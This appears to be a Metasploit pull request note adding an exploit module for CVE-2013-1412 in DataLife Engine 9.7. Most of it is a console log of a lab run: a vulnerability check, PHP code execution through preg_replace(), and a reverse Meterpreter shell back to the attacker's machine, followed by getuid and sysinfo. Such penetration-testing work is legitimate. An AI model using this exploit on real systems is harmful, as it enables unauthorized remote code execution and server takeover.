added module for cve-2013-1412

I've used a custom template to trigger vulnerability. Template preview.tpl sent to @wchen-r7 via e-mail.

The vulnerable app can be downloaded from:

http://www.exploit-db.com/exploits/24438/

The 9.7 version included in the vendor page has been patched! The module check method allows to test vulnerability.

Test results:

```
msf > use exploit/unix/webapp/datalife_preview_exec 
msf  exploit(datalife_preview_exec) > show options

Module options (exploit/unix/webapp/datalife_preview_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /                yes       The base path to the web application
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   DataLife Engine 9.7


msf  exploit(datalife_preview_exec) > reload
[*] Reloading module...
msf  exploit(datalife_preview_exec) > set targeturi /upload
targeturi => /upload
msf  exploit(datalife_preview_exec) > set rhost 192.168.1.131
rhost => 192.168.1.131
msf  exploit(datalife_preview_exec) > check
[+] The target is vulnerable.
msf  exploit(datalife_preview_exec) > exploit

[*] Started reverse handler on 192.168.1.128:4444 
[*] 192.168.1.131:80 - Exploiting the preg_replace() to execute PHP code
[*] Sending stage (39217 bytes) to 192.168.1.131
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.131:41935) at 2013-01-31 16:08:30 +0100

^C[-] Exploit failed: Interrupt 

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.131 - Meterpreter session 1 closed.  Reason: User exit

```